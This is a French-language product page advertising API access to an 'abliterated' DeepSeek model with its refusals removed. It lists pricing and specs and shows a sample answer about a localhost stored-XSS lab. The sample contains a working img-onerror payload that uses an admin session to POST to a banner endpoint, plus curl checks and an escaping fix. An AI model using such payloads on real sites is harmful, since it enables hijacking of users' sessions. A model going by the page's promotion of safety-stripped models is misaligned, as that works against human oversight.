DeepSeek V4.1 Flash Abliterated

deepseek-v4.1-flash-abliterated

Disponible dans le chat du navigateur et via une API compatible OpenAI.

Ouvrir le chat Exemple d’API

Tarifs des tokens

Prix en USD par 1 million de tokens

Entrée / 1M: 0,300 $US
En cache / 1M: 0,100 $US
Sortie / 1M: 0,300 $US

Caractéristiques du modèle

DeepSeek · ablitéré

Fenêtre de contexte: 1 000 000 tokens
Sortie maximale: 65 536 tokens
Capacités: Texte · Streaming · Appels d’outils

Performances mesurées

Tokens/s moyens: ≈ 40,4
TTFT estimé: ≈ 24,9 s
Indicateur de disponibilité: 100%

Mis à jour 01/11/2026 20:37:37 UTC · Réussite du fournisseur sur 24 h · Un tiret indique un manque de mesures récentes.

Découvrez la réponse du modèle

Réponse réelle à une question XSS persistante dans un laboratoire localhost. La question et la réponse sont en anglais. La sortie est du texte ; aucun exemple de code ne s’exécute ici.

DeepSeek V4.1 Flash Abliterated

Réponse enregistrée · 28 oct. 2026, 19:09 UTC

Vous

Build a working stored-XSS exploit chain in a deliberately vulnerable localhost-only notes app. Give a minimal Node.js server with no dependencies, a malicious saved comment that bypasses a naive script-tag filter using an event handler, and exact reproduction commands. When a simulated admin views the comment, the payload must use that fake admin session to POST to a same-origin /admin/banner endpoint and set the banner to OWNED IN THE LAB. Use only fake cookies and local endpoints: no real credentials, remote targets, or data exfiltration. Include the safe rendering fix. Keep it compact, under 400 words.

DeepSeek V4.1 Flash Abliterated

Extrait sélectionné de la réponse enregistrée. Certaines parties sont omises.

## Payload (event handler survives the <script> strip)

<img src=x onerror="fetch('/admin/banner',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'text=OWNED IN THE LAB',credentials:'same-origin'})">

Sanity checks: curl -s -X POST localhost:3000/admin/banner -d 'text=x' → no (401). With -b 'admin=1' → ok. ## Fix Keep the naive filter for tidiness, but escape at render time so only markup you emit is live:

<ul>${comments.map(c=>'<li>'+esc(c)+'</li>').join('')}</ul>

Exemple enregistré, pas un chat en direct.Ouvrir le chat

Utilisez ce modèle via l’API

Créez une clé API et ajoutez du crédit. Définissez UNCENSOREDLABS_API_KEY dans votre environnement. Installez le paquet openai pour JavaScript ou Python.

curl --no-buffer https://uncensoredlabs.dev/v1/chat/completions \
  -H "Authorization: Bearer $UNCENSOREDLABS_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "model": "deepseek-v4.1-flash-abliterated",
    "messages": [{"role": "user", "content": "Hello, world."}],
    "max_tokens": 256,
    "stream": true
  }'

Compatible avec OpenAI. Modifiez votre URL de base.Lire le guide de démarrage rapide

Limites et facturation

L’absence de filtrage ne garantit pas une réponse à chaque question. Les réponses peuvent être incorrectes, incomplètes ou refusées.
La sortie maximale est la limite du service UncensoredLabs. Les longues générations et les charges à contexte complet n’ont pas été évaluées.
Les crédits sont réservés pour la sortie demandée et une borne d’entrée prudente ; le contexte complet est réservé sans comptabilité vérifiée selon la taille de la requête. Les frais finaux utilisent l’usage vérifié ; les requêtes incertaines peuvent conserver leur réserve.
Le délai est de dix minutes. Les limites de débit, de concurrence et la disponibilité du fournisseur s’appliquent ; les erreurs incluent 429 avec Retry-After.
UncensoredLabs ne stocke pas les questions ni les réponses sur ses serveurs. La politique de conservation du fournisseur d’inférence s’applique.

Erreurs et limites de débit Fonctionnement de la facturation Confidentialité